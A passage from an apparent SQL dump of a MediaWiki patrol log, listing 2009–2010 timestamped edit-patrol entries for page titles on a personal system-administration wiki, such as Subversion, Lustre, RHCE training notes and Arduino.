OCSNG_Inventory_Management','','636\n635\n1',557,0,'',NULL),('patrol','patrol','20090424123604',1,0,'OCSNG_Inventory_Management','','637\n636\n1',558,0,'',NULL),('patrol','patrol','20090424134928',1,0,'OCSNG_Inventory_Management','','638\n637\n1',559,0,'',NULL),('patrol','patrol','20090424141356',1,0,'OCSNG_Inventory_Management','','639\n638\n1',560,0,'',NULL),('patrol','patrol','20090424141412',1,0,'OCSNG_Inventory_Management','','640\n639\n1',561,0,'',NULL),('patrol','patrol','20090424143725',1,0,'OCSNG_Inventory_Management','','641\n640\n1',562,0,'',NULL),('patrol','patrol','20090424144004',1,0,'OCSNG_Inventory_Management','','642\n641\n1',563,0,'',NULL),('patrol','patrol','20090424221259',1,0,'OCSNG_Inventory_Management','','643\n642\n1',564,0,'',NULL),('patrol','patrol','20090424221421',1,0,'OCSNG_Inventory_Management','','644\n643\n1',565,0,'',NULL),('patrol','patrol','20090424223215',1,0,'OCSNG_Inventory_Management','','645\n644\n1',566,0,'',NULL),('patrol','patrol','20090427164401',1,0,'Bash_Scripts','','646\n0\n1',567,0,'',NULL),('patrol','patrol','20090427164604',1,0,'Bash_Scripts','','647\n646\n1',568,0,'',NULL),('patrol','patrol','20090428135547',1,0,'Konqueror_Tips','','648\n0\n1',569,0,'',NULL),('patrol','patrol','20090507135912',1,0,'MySQL_Tools_and_Tips','','649\n589\n1',570,0,'',NULL),('patrol','patrol','20090507143604',1,0,'MySQL_Tools_and_Tips','','650\n649\n1',571,0,'',NULL),('patrol','patrol','20090507144610',1,0,'MySQL_Tools_and_Tips','','651\n650\n1',572,0,'',NULL),('patrol','patrol','20090518001418',1,0,'Wordpress_Configuration','','652\n480\n1',573,0,'',NULL),('patrol','patrol','20090518023448',1,0,'BackupPC_Installation_Notes','','653\n243\n1',574,0,'',NULL),('patrol','patrol','20090518024412',1,0,'BackupPC_Installation_Notes','','654\n653\n1',575,0,'',NULL),('patrol','patrol','20090518025224',1,0,'BackupPC_Installation_Notes','','655\n654\n1',576,0,'',NULL),('patrol','patrol','20090518133155',1,0,'Splunk_Log_Analyzer','','656\n156\n1',577,0,'',NULL),('patrol','patrol','20090521151957',1,0,'Vmsplice_kernel_exploit','','657\n0\n1',578,0,'',NULL),('patrol','patrol','20090521235652',1,0,'Bash_Tricks','','658\n598\n1',579,0,'',NULL),('patrol','patrol','20090522000945',1,0,'Bash_Tricks','','659\n658\n1',580,0,'',NULL),('patrol','patrol','20090522130254',1,0,'Revision_Control_System','','660\n0\n1',581,0,'',NULL),('patrol','patrol','20090603122236',1,0,'Encrypting_Linux_Shadow_Passwords','','661\n0\n1',582,0,'',NULL),('patrol','patrol','20090603122553',1,0,'Encrypting_Linux_Shadow_Passwords','','662\n661\n1',583,0,'',NULL),('patrol','patrol','20090605184901',1,0,'Syslog_Server_Installation','','663\n0\n1',584,0,'',NULL),('patrol','patrol','20090605185813',1,0,'Tracking_Down_Spammers','','664\n602\n1',585,0,'',NULL),('patrol','patrol','20090605190313',1,0,'Debian_Broadcom_NIC_Drivers','','665\n0\n1',586,0,'',NULL),('patrol','patrol','20090605195849',1,0,'Testing_MSSQL_Connections_odbcping.exe','','666\n0\n1',587,0,'',NULL),('patrol','patrol','20090608151811',1,0,'Tomcat_Installation','','667\n0\n1',588,0,'',NULL),('patrol','patrol','20090608191737',1,0,'Tomcat_Installation','','668\n667\n1',589,0,'',NULL),('patrol','patrol','20090609005751',1,0,'Tomcat_Installation','','669\n668\n1',590,0,'',NULL),('patrol','patrol','20090609031702',1,0,'Tomcat_Installation','','670\n669\n1',591,0,'',NULL),('patrol','patrol','20090618025917',1,0,'Process_Accounting','','671\n0\n1',592,0,'',NULL),('patrol','patrol','20090618142620',1,0,'IPMI_Console_Access','','672\n459\n1',593,0,'',NULL),('patrol','patrol','20090620205608',1,0,'Cool_Places_to_Work','','673\n0\n1',594,0,'',NULL),('patrol','patrol','20090621165304',1,0,'Process_Accounting','','674\n671\n1',595,0,'',NULL),('patrol','patrol','20090621165547',1,0,'Process_Accounting','','675\n674\n1',596,0,'',NULL),('patrol','patrol','20090622170733',1,0,'Debian_Broadcom_NIC_Drivers','','676\n665\n1',597,0,'',NULL),('patrol','patrol','20090622170754',1,0,'Debian_Broadcom_NIC_Drivers','','677\n676\n1',598,0,'',NULL),('patrol','patrol','20090622175854',1,0,'Debian_Broadcom_NIC_Drivers','','678\n677\n1',599,0,'',NULL),('patrol','patrol','20090623144057',1,0,'Hosts_Deny_Configuration','','679\n0\n1',600,0,'',NULL),('patrol','patrol','20090623144225',1,0,'Hosts_Deny_Configuration','','680\n679\n1',601,0,'',NULL),('patrol','patrol','20090623144356',1,0,'SMART_Drive_Diagnostics','','681\n587\n1',602,0,'',NULL),('patrol','patrol','20090623144812',1,0,'SMART_Drive_Diagnostics','','682\n681\n1',603,0,'',NULL),('patrol','patrol','20090629174606',1,0,'Toorcamp_2009_Trip','','683\n0\n1',604,0,'',NULL),('rights','rights','20090629175041',1,2,'Kyle','','\nsysop',605,0,'',NULL),('patrol','patrol','20090629175607',4,0,'Toorcamp_2009_Trip','','684\n683\n1',606,0,'',NULL),('patrol','patrol','20090629190853',4,0,'Toorcamp_2009_Trip','','685\n684\n1',607,0,'',NULL),('patrol','patrol','20090629190952',4,0,'Toorcamp_2009_Trip','','686\n685\n1',608,0,'',NULL),('patrol','patrol','20090630124823',1,0,'Testing_Mod_ReWrite','','687\n0\n1',609,0,'',NULL),('patrol','patrol','20090630125217',1,0,'Testing_Mod_ReWrite','','688\n687\n1',610,0,'',NULL),('patrol','patrol','20090630125256',1,0,'Testing_Mod_ReWrite','','689\n688\n1',611,0,'',NULL),('patrol','patrol','20090630171352',1,0,'OCSNG_Inventory_Management','','690\n645\n1',612,0,'',NULL),('patrol','patrol','20090701124158',1,0,'OCSNG_Inventory_Management','','691\n690\n1',613,0,'',NULL),('patrol','patrol','20090708222218',1,0,'St_Pete_College_Compnet_AS_Classes','','692\n623\n1',614,0,'',NULL),('patrol','patrol','20090714014511',1,0,'OLPC_Notes','','693\n351\n1',615,0,'',NULL),('patrol','patrol','20090715165829',1,0,'Web_Email_Form_Tools','','694\n0\n1',616,0,'',NULL),('patrol','patrol','20090715193903',1,0,'DNS_Domain_Name_Service_Troubleshooting','','695\n601\n1',617,0,'',NULL),('patrol','patrol','20090722235427',1,0,'Metasploit_Framework','','696\n0\n1',618,0,'',NULL),('patrol','patrol','20090805134455',1,0,'Cisco_VPN_Configuration','','697\n0\n1',619,0,'',NULL),('patrol','patrol','20090805172940',1,0,'Cisco_VPN_Configuration','','698\n697\n1',620,0,'',NULL),('patrol','patrol','20090805203920',1,0,'Database_Configuration','','699\n0\n1',621,0,'',NULL),('patrol','patrol','20090805215021',1,0,'Database_Configuration','','700\n699\n1',622,0,'',NULL),('patrol','patrol','20090805215156',1,0,'Database_Configuration','','701\n700\n1',623,0,'',NULL),('patrol','patrol','20090805224952',1,0,'MySQL_Tools_and_Tips','','702\n651\n1',624,0,'',NULL),('patrol','patrol','20090806022942',1,0,'MySQL_Tools_and_Tips','','703\n702\n1',625,0,'',NULL),('patrol','patrol','20090807150346',1,0,'Bash_Tricks','','704\n659\n1',626,0,'',NULL),('patrol','patrol','20090808181801',1,0,'Regex_Regular_Expressions','','705\n0\n1',627,0,'',NULL),('patrol','patrol','20090809033041',1,0,'St_Pete_College_Compnet_AS_Classes','','706\n692\n1',628,0,'',NULL),('patrol','patrol','20090810231859',1,0,'Linux_SCSI_Device_Tools','','707\n0\n1',629,0,'',NULL),('patrol','patrol','20090811142055',1,0,'Tracking_Down_Spammers','','708\n664\n1',630,0,'',NULL),('patrol','patrol','20090811142302',1,0,'Tracking_Down_Spammers','','709\n708\n1',631,0,'',NULL),('patrol','patrol','20090811142631',1,0,'Tracking_Down_Spammers','','710\n709\n1',632,0,'',NULL),('patrol','patrol','20090812132251',1,0,'Cobbler_PXE_Install_Manager','','711\n609\n1',633,0,'',NULL),('patrol','patrol','20090812134622',1,0,'Cobbler_PXE_Install_Manager','','712\n711\n1',634,0,'',NULL),('patrol','patrol','20090814020956',1,0,'Sun_Studio_and_Compiler','','713\n0\n1',635,0,'',NULL),('patrol','patrol','20090814021047',1,0,'Solaris_Zones','','714\n0\n1',636,0,'',NULL),('patrol','patrol','20090814023010',1,0,'Sun_Studio_and_Compiler','','715\n713\n1',637,0,'',NULL),('patrol','patrol','20090816154944',1,0,'Sun_Studio_and_Compiler','','716\n715\n1',638,0,'',NULL),('patrol','patrol','20090816161112',1,0,'Crafty_Chess_Compiler_Benchmarks','','717\n540\n1',639,0,'',NULL),('patrol','patrol','20090816224302',1,0,'St_Pete_College_Compnet_AS_Classes','','718\n706\n1',640,0,'',NULL),('patrol','patrol','20090818211932',1,0,'St_Pete_College_Compnet_AS_Classes','','719\n718\n1',641,0,'',NULL),('patrol','patrol','20090819000030',1,0,'St_Pete_College_Compnet_AS_Classes','','720\n719\n1',642,0,'',NULL),('patrol','patrol','20090819185236',1,0,'St_Pete_College_Compnet_AS_Classes','','721\n720\n1',643,0,'',NULL),('patrol','patrol','20090820005321',1,0,'St_Pete_College_Compnet_AS_Classes','','722\n721\n1',644,0,'',NULL),('patrol','patrol','20090820005431',1,0,'St_Pete_College_Compnet_AS_Classes','','723\n722\n1',645,0,'',NULL),('patrol','patrol','20090821131014',1,0,'Cpanel_Configuration','','724\n0\n1',646,0,'',NULL),('patrol','patrol','20090821132315',1,0,'Cpanel_Configuration','','725\n724\n1',647,0,'',NULL),('patrol','patrol','20090821143003',1,0,'Cpanel_Configuration','','726\n725\n1',648,0,'',NULL),('patrol','patrol','20090822014516',1,0,'Database_Configuration','','727\n701\n1',649,0,'',NULL),('patrol','patrol','20090823012131',1,0,'Cisco_VPN_Configuration','','728\n698\n1',650,0,'',NULL),('patrol','patrol','20090828094636',1,0,'Linux_Filesystem_Tools','','729\n0\n1',651,0,'',NULL),('patrol','patrol','20090829144434',1,0,'Suse_Apache_and_PHP_Configuration','','730\n0\n1',652,0,'',NULL),('patrol','patrol','20090829144934',1,0,'Eclipse_IDE_Platform','','731\n0\n1',653,0,'',NULL),('patrol','patrol','20090902130300',1,0,'Solaris_Tips','','732\n606\n1',654,0,'',NULL),('patrol','patrol','20090902184826',1,0,'Subversion','','733\n0\n1',655,0,'',NULL),('patrol','patrol','20090902185339',1,0,'Subversion','','734\n733\n1',656,0,'',NULL),('patrol','patrol','20090902190045',1,0,'Subversion','','735\n734\n1',657,0,'',NULL),('patrol','patrol','20090903122225',1,0,'Subversion','','736\n735\n1',658,0,'',NULL),('patrol','patrol','20090903123443',1,0,'SSL_Certificates','','737\n0\n1',659,0,'',NULL),('patrol','patrol','20090903142000',1,0,'Subversion','','738\n736\n1',660,0,'',NULL),('patrol','patrol','20090909122807',1,0,'Partition_Names_with_UUID_e2label_and_Block_Device_Names','','739\n0\n1',661,0,'',NULL),('patrol','patrol','20090909124023',1,0,'Partition_Names_with_UUID_e2label_and_Block_Device_Names','','740\n739\n1',662,0,'',NULL),('patrol','patrol','20090915133247',1,0,'Subversion','','741\n738\n1',663,0,'',NULL),('patrol','patrol','20090916112158',1,0,'Eclipse_IDE_Platform','','742\n731\n1',664,0,'',NULL),('patrol','patrol','20090918180252',1,0,'Lustre_Distributed_File_System','','743\n0\n1',665,0,'',NULL),('patrol','patrol','20090918190503',1,0,'Lustre_Distributed_File_System','','744\n743\n1',666,0,'',NULL),('patrol','patrol','20090918190721',1,0,'Lustre_Distributed_File_System','','745\n744\n1',667,0,'',NULL),('patrol','patrol','20090918193200',1,0,'Lustre_Distributed_File_System','','746\n745\n1',668,0,'',NULL),('patrol','patrol','20090918193349',1,0,'Lustre_Distributed_File_System','','747\n746\n1',669,0,'',NULL),('patrol','patrol','20090918195236',1,0,'Lustre_Distributed_File_System','','748\n747\n1',670,0,'',NULL),('patrol','patrol','20090918195741',1,0,'Lustre_Distributed_File_System','','749\n748\n1',671,0,'',NULL),('patrol','patrol','20090918195944',1,0,'Lustre_Distributed_File_System','','750\n749\n1',672,0,'',NULL),('patrol','patrol','20090918203307',1,0,'Lustre_Distributed_File_System','','751\n750\n1',673,0,'',NULL),('patrol','patrol','20090918203354',1,0,'Lustre_Distributed_File_System','','752\n751\n1',674,0,'',NULL),('patrol','patrol','20090919015101',1,0,'Lustre_Distributed_File_System','','753\n752\n1',675,0,'',NULL),('patrol','patrol','20090924140458',1,0,'Subversion','','754\n741\n1',676,0,'',NULL),('patrol','patrol','20090924140622',1,0,'Subversion','','755\n754\n1',677,0,'',NULL),('patrol','patrol','20090925115315',1,0,'Dd_Rescue','','756\n607\n1',678,0,'',NULL),('patrol','patrol','20091002014305',1,0,'XVMServer_Sun_Virtualization','','757\n486\n1',679,0,'',NULL),('patrol','patrol','20091009132449',1,0,'FluidVM_Install','','758\n366\n1',680,0,'',NULL),('patrol','patrol','20091012183951',1,0,'Name_Server_Clusters','','759\n0\n1',681,0,'',NULL),('patrol','patrol','20091012233603',1,0,'Eclipse_IDE_Platform','','760\n742\n1',682,0,'',NULL),('patrol','patrol','20091025205404',1,0,'C++_Programming_Basics','','761\n0\n1',683,0,'',NULL),('patrol','patrol','20091026125930',1,0,'Occult_Wicca_College','','762\n0\n1',684,0,'',NULL),('patrol','patrol','20091026145227',1,0,'C++_Programming_Basics','','763\n761\n1',685,0,'',NULL),('patrol','patrol','20091026151406',1,0,'C++_Programming_Basics','','764\n763\n1',686,0,'',NULL),('patrol','patrol','20091029015555',1,0,'Xrandr_Display_Configuration','','765\n0\n1',687,0,'',NULL),('patrol','patrol','20091029021539',1,0,'Arcanum','','766\n0\n1',688,0,'',NULL),('patrol','patrol','20091029021643',1,0,'Xrandr_Display_Configuration','','767\n765\n1',689,0,'',NULL),('patrol','patrol','20091031151812',1,0,'C++_Programming_Basics','','768\n764\n1',690,0,'',NULL),('patrol','patrol','20091102234323',1,0,'C++_Programming_Basics','','769\n768\n1',691,0,'',NULL),('patrol','patrol','20091102234621',1,0,'C++_Programming_Basics','','770\n769\n1',692,0,'',NULL),('patrol','patrol','20091105123010',1,0,'St_Pete_College_Compnet_AS_Classes','','771\n723\n1',693,0,'',NULL),('patrol','patrol','20091107163229',1,0,'C++_Programming_Basics','','772\n770\n1',694,0,'',NULL),('patrol','patrol','20091107164924',1,0,'C++_Programming_Basics','','773\n772\n1',695,0,'',NULL),('patrol','patrol','20091107180747',1,0,'C++_Programming_Basics','','774\n773\n1',696,0,'',NULL),('patrol','patrol','20091110180216',1,0,'Solaris_and_Linux_Dtrace','','775\n370\n1',697,0,'',NULL),('patrol','patrol','20091111235055',1,0,'Airship_Pilotage','','776\n0\n1',698,0,'',NULL),('patrol','patrol','20091113230553',1,0,'Cisco_VPN_Configuration','','777\n728\n1',699,0,'',NULL),('patrol','patrol','20091117023855',1,0,'Keyboard_Configuration','','778\n0\n1',700,0,'',NULL),('patrol','patrol','20091118150657',1,0,'Pascals_Triangle','','779\n0\n1',701,0,'',NULL),('patrol','patrol','20091118223254',1,0,'Keyboard_Configuration','','780\n778\n1',702,0,'',NULL),('patrol','patrol','20091120150834',1,0,'Database_Configuration','','781\n727\n1',703,0,'',NULL),('patrol','patrol','20091121163047',1,0,'Virtualbox_Tips','','782\n0\n1',704,0,'',NULL),('patrol','patrol','20091121165628',1,0,'Virtualbox_Tips','','783\n782\n1',705,0,'',NULL),('patrol','patrol','20091121215704',1,0,'Keyboard_Configuration','','784\n780\n1',706,0,'',NULL),('patrol','patrol','20091129204757',1,0,'Samsung_HDTV','','785\n0\n1',707,0,'',NULL),('patrol','patrol','20091129205132',1,0,'Samsung_HDTV','','786\n785\n1',708,0,'',NULL),('patrol','patrol','20091202205126',1,0,'Arduino','','787\n0\n1',709,0,'',NULL),('patrol','patrol','20091213165049',1,0,'Solaris_Tips','','788\n732\n1',710,0,'',NULL),('patrol','patrol','20100101190352',1,0,'Ethtool_Interface_Tweaking','','789\n0\n1',711,0,'',NULL),('patrol','patrol','20100103211311',1,0,'St_Pete_College_Compnet_AS_Classes','','790\n771\n1',712,0,'',NULL),('patrol','patrol','20100103212007',1,0,'St_Pete_College_Compnet_AS_Classes','','791\n790\n1',713,0,'',NULL),('patrol','patrol','20100103212906',1,0,'St_Pete_College_Compnet_AS_Classes','','792\n791\n1',714,0,'',NULL),('patrol','patrol','20100105011610',1,0,'St_Pete_College_Compnet_AS_Classes','','793\n792\n1',715,0,'',NULL),('patrol','patrol','20100105014051',1,0,'St_Pete_College_Compnet_AS_Classes','','794\n793\n1',716,0,'',NULL),('patrol','patrol','20100111000208',1,0,'Graphical_Debugging_Tools','','795\n0\n1',717,0,'',NULL),('patrol','patrol','20100111000341',1,0,'C++_Programming_Basics','','796\n774\n1',718,0,'',NULL),('patrol','patrol','20100111000603',1,0,'Graphical_Debugging_Tools','','797\n795\n1',719,0,'',NULL),('patrol','patrol','20100111225625',1,0,'St_Pete_College_Compnet_AS_Classes','','798\n794\n1',720,0,'',NULL),('patrol','patrol','20100114031054',1,0,'Wordpress_Configuration','','799\n652\n1',721,0,'',NULL),('patrol','patrol','20100115203820',1,0,'Sago_Turnover_Notes','','800\n0\n1',722,0,'',NULL),('patrol','patrol','20100115203912',1,0,'Install_Network_Servers','','801\n0\n1',723,0,'',NULL),('patrol','patrol','20100115204048',1,0,'PXE_Explanation','','802\n0\n1',724,0,'',NULL),('patrol','patrol','20100115204216',1,0,'Sago_Recovery_Environment','','803\n0\n1',725,0,'',NULL),('patrol','patrol','20100115204427',1,0,'SMART_Test','','804\n0\n1',726,0,'',NULL),('patrol','patrol','20100115204651',1,0,'OCSNG_Inventory_Management','','805\n691\n1',727,0,'',NULL),('patrol','patrol','20100115204804',1,0,'Install_Network_Servers','','806\n801\n1',728,0,'',NULL),('patrol','patrol','20100120142712',1,0,'Cluster_Design_Requierments','','807\n0\n1',729,0,'',NULL),('patrol','patrol','20100120142754',1,0,'Cluster_Design_Requierments','','808\n807\n1',730,0,'',NULL),('patrol','patrol','20100120153326',1,0,'Creating_a_Container_for_customer_(CentOS5)','','809\n0\n1',731,0,'',NULL),('patrol','patrol','20100120153416',1,0,'Creating_a_Container_for_customer_(CentOS5)','','810\n809\n1',732,0,'',NULL),('patrol','patrol','20100120231320',1,0,'Cable_Suppliers','','811\n0\n1',733,0,'',NULL),('patrol','patrol','20100121150926',1,0,'Dell_OpenManage_Server_Administrator','','812\n355\n1',734,0,'',NULL),('patrol','patrol','20100128030736',1,0,'Screen_Tricks','','813\n0\n1',735,0,'',NULL),('patrol','patrol','20100128033516',1,0,'Cups-pdf_Print_Driver','','814\n0\n1',736,0,'',NULL),('patrol','patrol','20100128033717',1,0,'Cups-pdf_Print_Driver','','815\n814\n1',737,0,'',NULL),('patrol','patrol','20100129152708',1,0,'PXE_Boot_Server','','816\n608\n1',738,0,'',NULL),('patrol','patrol','20100131013549',1,0,'Wacom_Tablet','','817\n0\n1',739,0,'',NULL),('patrol','patrol','20100131210729',1,0,'Gifts_for_People','','818\n0\n1',740,0,'',NULL),('patrol','patrol','20100131212136',1,0,'DLNA_and_Mediatomb','','819\n0\n1',741,0,'',NULL),('patrol','patrol','20100201235554',1,0,'St_Pete_College_Compnet_AS_Classes','','820\n798\n1',742,0,'',NULL),('patrol','patrol','20100202011453',4,0,'Gifts_for_People','','821\n818\n1',743,0,'',NULL),('patrol','patrol','20100202023617',1,0,'IRC_-_Internet_Relay_Chat','','822\n0\n1',744,0,'',NULL),('patrol','patrol','20100202025926',1,0,'IRC_-_Internet_Relay_Chat','','823\n822\n1',745,0,'',NULL),('patrol','patrol','20100203015825',1,0,'IRC_-_Internet_Relay_Chat','','824\n823\n1',746,0,'',NULL),('patrol','patrol','20100205201114',1,0,'Sydney_Biscuit','','825\n0\n1',747,0,'',NULL),('patrol','patrol','20100208160627',1,0,'RHCE_Training_Notes','','826\n0\n1',748,0,'',NULL),('patrol','patrol','20100208160943',1,0,'RHCE_Training_Notes','','827\n826\n1',749,0,'',NULL),('patrol','patrol','20100208174217',1,0,'RHCE_Training_Notes','','828\n827\n1',750,0,'',NULL),('patrol','patrol','20100208174624',1,0,'RHCE_Training_Notes','','829\n828\n1',751,0,'',NULL),('patrol','patrol','20100208204511',1,0,'RHCE_Training_Notes','','830\n829\n1',752,0,'',NULL),('patrol','patrol','20100208220901',1,0,'RHCE_Training_Notes','','831\n830\n1',753,0,'',NULL),('patrol','patrol','20100209154325',1,0,'RHCE_Training_Notes','','832\n831\n1',754,0,'',NULL),('patrol','patrol','20100209155019',1,0,'RHCE_Training_Notes','','833\n832\n1',755,0,'',NULL),('patrol','patrol','20100209160119',1,0,'RHCE_Training_Notes','','834\n833\n1',756,0,'',NULL),('patrol','patrol','20100209160433',1,0,'RHCE_Training_Notes','','835\n834\n1',757,0,'',NULL),('patrol','patrol','20100209212337',1,0,'RHCE_Training_Notes','','836\n835\n1',758,0,'',NULL),('patrol','patrol','20100209213607',1,0,'RHCE_Training_Notes','','837\n836\n1',759,0,'',NULL),('patrol','patrol','20100209214305',1,0,'RHCE_Training_Notes','','838\n837\n1',760,0,'',NULL),('patrol','patrol','20100209220142',1,0,'RHCE_Training_Notes','','839\n838\n1',761,0,'',NULL),('patrol','patrol','20100209221450',1,0,'RHCE_Training_Notes','','840\n839\n1',762,0,'',NULL),('patrol','patrol','20100209222558',1,0,'RHCE_Training_Notes','','841\n840\n1',763,0,'',NULL),('patrol','patrol','20100210133849',1,0,'RHCE_Training_Notes','','842\n841\n1',764,0,'',NULL),('patrol','patrol','20100210141507',1,0,'RHCE_Training_Notes','','843\n842\n1',765,0,'',NULL),('patrol','patrol','20100210142734',1,0,'RHCE_Training_Notes','','844\n843\n1',766,0,'',NULL),('patrol','patrol','20100210144615',1,0,'RHCE_Training_Notes','','845\n844\n1',767,0,'',NULL),('patrol','patrol','20100210144814',1,0,'RHCE_Training_Notes','','846\n845\n1',768,0,'',NULL),('patrol','patrol','20100210151519',1,0,'RHCE_Training_Notes','','847\n846\n1',769,0,'',NULL),('patrol','patrol','20100210151717',1,0,'RHCE_Training_Notes','','848\n847\n1',770,0,'',NULL),('patrol','patrol','20100210154503',1,0,'RHCE_Training_Notes','','849\n848\n1',771,0,'',NULL),('patrol','patrol','20100210162316',1,0,'RHCE_Training_Notes','','850\n849\n1',772,0,'',NULL),('patrol','patrol','20100210174647',1,0,'RHCE_Training_Notes','','851\n850\n1',773,0,'',NULL),('patrol','patrol','20100210175133',1,0,'RHCE_Training_Notes','','852\n851\n1',774,0,'',NULL),('patrol','patrol','20100210180455',1,0,'RHCE_Training_Notes','','853\n852\n1',775,0,'',NULL),('patrol','patrol','20100210180803',1,0,'RHCE_Training_Notes','','854\n853\n1',776,0,'',NULL),('patrol','patrol','20100210181552',1,0,'RHCE_Training_Notes','','855\n854\n1',777,0,'',NULL),('patrol','patrol','20100210181918',1,0,'RHCE_Training_Notes','','856\n855\n1',778,0,'',NULL),('patrol','patrol','20100210183227',1,0,'RHCE_Training_Notes','','857\n856\n1',779,0,'',NULL),('patrol','patrol','20100210183651',1,0,'RHCE_Training_Notes','','858\n857\n1',780,0,'',NULL),('patrol','patrol','20100210183839',1,0,'RHCE_Training_Notes','','859\n858\n1',781,0,'',NULL),('patrol','patrol','20100210190635',1,0,'RHCE_Training_Notes','','860\n859\n1',782,0,'',NULL),('patrol','patrol','20100210193215',1,0,'RHCE_Training_Notes','','861\n860\n1',783,0,'',NULL),('patrol','patrol','20100210214251',1,0,'RHCE_Training_Notes','','862\n861\n1',784,0,'',NULL),('patrol','patrol','20100210221836',1,0,'RHCE_Training_Notes','','863\n862\n1',785,0,'',NULL),('patrol','patrol','20100211180817',1,0,'RHCE_Training_Notes','','864\n863\n1',786,0,'',NULL),('patrol','patrol','20100211184600',1,0,'RHCE_Training_Notes','','865\n864\n1',787,0,'',NULL),('patrol','patrol','20100211185934',1,0,'RHCE_Training_Notes','','866\n865\n1',788,0,'',NULL),('patrol','patrol','20100211200021',1,0,'RHCE_Training_Notes','','867\n866\n1',789,0,'',NULL),('patrol','patrol','20100211203542',1,0,'RHCE_Training_Notes','','868\n867\n1',790,0,'',NULL),('patrol','patrol','20100211205050',1,0,'RHCE_Training_Notes','','869\n868\n1',791,0,'',NULL),('patrol','patrol','20100211221117',1,0,'RHCE_Training_Notes','','870\n869\n1',792,0,'',NULL),('patrol','patrol','20100211222153',1,0,'RHCE_Class_named.conf','','871\n0\n1',793,0,'',NULL),('patrol','patrol','20100213192059',1,0,'RHCE_Training_Notes','','872\n870\n1',794,0,'',NULL),('patrol','patrol','20100213210316',1,0,'RHCE_Training_Notes','','873\n872\n1',795,0,'',NULL),('patrol','patrol','20100218205158',1,0,'Pdflush_tunables','','874\n0\n1',796,0,'',NULL),('patrol','patrol','20100219154601',1,0,'Suse_LDAP_Server_Setup','','875\n0\n1',797,0,'',NULL),('patrol','patrol','20100220140910',1,0,'PowerPC_Linux_Distros','','876\n0\n1',798,0,'',NULL),('patrol','patrol','20100220141950',1,0,'PowerPC_Linux_Distros','','877\n876\n1',799,0,'',NULL),('patrol','patrol','20100301133233',1,0,'Revision_Control_System','','878\n660\n1',800,0,'',NULL),('patrol','patrol','20100301133601',1,0,'SSL_Certificates','','879\n737\n1',801,0,'',NULL),('patrol','patrol','20100301134308',1,0,'SSL_Certificates','','880\n879\n1',802,0,'',NULL),('patrol','patrol','20100301134531',1,0,'Openssh_Tricks','','881\n0\n1',803,0,'',NULL),('patrol','patrol','20100301204448',1,0,'Squid_Cache','','882\n0\n1',804,0,'',NULL),('patrol','patrol','20100303193817',1,0,'SSL_Certificates','','883\n880\n1',805,0,'',NULL),('patrol','patrol','20100305011708',1,0,'CFEngine_Installation','','884\n0\n1',806,0,'',NULL),('patrol','patrol','20100307143451',1,0,'Cobbler_PXE_Install_Manager','','885\n712\n1',807,0,'',NULL),('patrol','patrol','20100307143512',1,0,'Cobbler_PXE_Install_Manager','','886\n885\n1',808,0,'',NULL),('patrol','patrol','20100307180450',1,0,'Cobbler_PXE_Install_Manager','','887\n886\n1',809,0,'',NULL),('patrol','patrol','20100308004708',1,0,'CFEngine_Installation','','888\n884\n1',810,0,'',NULL),('patrol','patrol','20100308004906',1,0,'CFEngine_Installation','','889\n888\n1',811,0,'',NULL),('patrol','patrol','20100310234152',1,0,'Solaris_Tips','','890\n788\n1',812,0,'',NULL),('patrol','patrol','20100310234547',1,0,'Solaris_Tips','','891\n890\n1',813,0,'',NULL),('patrol','patrol','20100313010628',1,0,'Sydney_Notebook_Specs','','892\n0\n1',814,0,'',NULL),('patrol','patrol','20100313014402',1,0,'Sydney_Notebook_Specs','','893\n892\n1',815,0,'',NULL),('patrol','patrol','20100314190011',1,0,'Reading_List','','894\n326\n1',816,0,'',NULL),('patrol','patrol','20100314191353',1,0,'Reading_List','','895\n894\n1',817,0,'',NULL),('patrol','patrol','20100314191952',1,0,'Curl_Notes_and_Tricks','','896\n0\n1',818,0,'',NULL),('patrol','patrol','20100314202456',1,0,'Applied_Ethics','','897\n0\n1',819,0,'',NULL),('patrol','patrol','20100314235425',1,0,'Twitcurl_Library','','898\n0\n1',820,0,'',NULL),('patrol','patrol','20100315222242',1,0,'C++_Programming_Basics','','899\n796\n1',821,0,'',NULL),('patrol','patrol','20100319130943',1,0,'OpenSolaris_Aspire_Grub_Settings','','900\n0\n1',822,0,'',NULL),('patrol','patrol','20100319203445',1,0,'Creating_Files_with_MySQL','','901\n0\n1',823,0,'',NULL),('patrol','patrol','20100319203525',1,0,'Creating_Files_with_MySQL','','902\n901\n1',824,0,'',NULL),('patrol','patrol','20100319203807',1,0,'Creating_Files_with_MySQL','','903\n902\n1',825,0,'',NULL),('patrol','patrol','20100319203851',1,0,'Creating_Files_with_MySQL','','904\n903\n1',826,0,'',NULL),('patrol','patrol','20100319204317',1,0,'Creating_Files_with_MySQL','','905\n904\n1',827,0,'',NULL),('patrol','patrol','20100319205057',1,0,'Creating_Files_with_MySQL','','906\n905\n1',828,0,'',NULL),('patrol','patrol','20100319205121',1,0,'Creating_Files_with_MySQL','','907\n906\n1',829,0,'',NULL),('patrol','patrol','20100319205224',1,0,'Creating_Files_with_MySQL','','908\n907\n1',830,0,'',NULL),('patrol','patrol','20100322133439',1,0,'Debugging_KDE_Applications','','909\n0\n1',831,0,'',NULL),('patrol','patrol','20100325122816',1,0,'Arduino','','910\n787\n1',832,0,'',NULL),('patrol','patrol','20100325131721',1,0,'Arduino','','911\n910\n1',833,0,'',NULL),('patrol','patrol','20100325132255',1,0,'Steampunk_Sites','','912\n0\n1',834,0,'',NULL),('patrol','patrol','20100325132528',1,0,'Gnaural_Binaural_Audio','','913\n0\n1',835,0,'',NULL),('patrol','patrol','20100325132747',1,0,'Apache_Vhost_Stuff','','914\n0\n1',836,0,'',NULL),('patrol','patrol','20100325133105',1,0,'C++_Programming_Basics','','915\n899\n1',837,0,'',NULL),('patrol','patrol','20100325161943',1,0,'MySQL_Tools_and_Tips','','916\n703\n1',838,0,'',NULL),('patrol','patrol','20100325163602',1,0,'C++_Programming_Basics','','917\n915\n1',839,0,'',NULL),('patrol','patrol','20100325230711',1,0,'Debugging_KDE_Applications','','918\n909\n1',840,0,'',NULL),('patrol','patrol','20100326192816',1,0,'Nvidia_Suse_Config','','919\n0\n1',841,0,'',NULL),('patrol','patrol','20100328231728',1,0,'Arduino','','920\n911\n1',842,0,'',NULL),('patrol','patrol','20100328232357',1,0,'Arduino','','921\n920\n1',843,0,'',NULL),('patrol','patrol','20100329162544',1,0,'OpenSolaris_USB_Serial','','922\n0\n1',844,0,'',NULL),('patrol','patrol','20100331235950',1,0,'Nginx_Configuration','','923\n0\n1',845,0,'',NULL),('patrol','patrol','20100402054754',1,0,'Arduino','','924\n921\n1',846,0,'',NULL),('patrol','patrol','2010040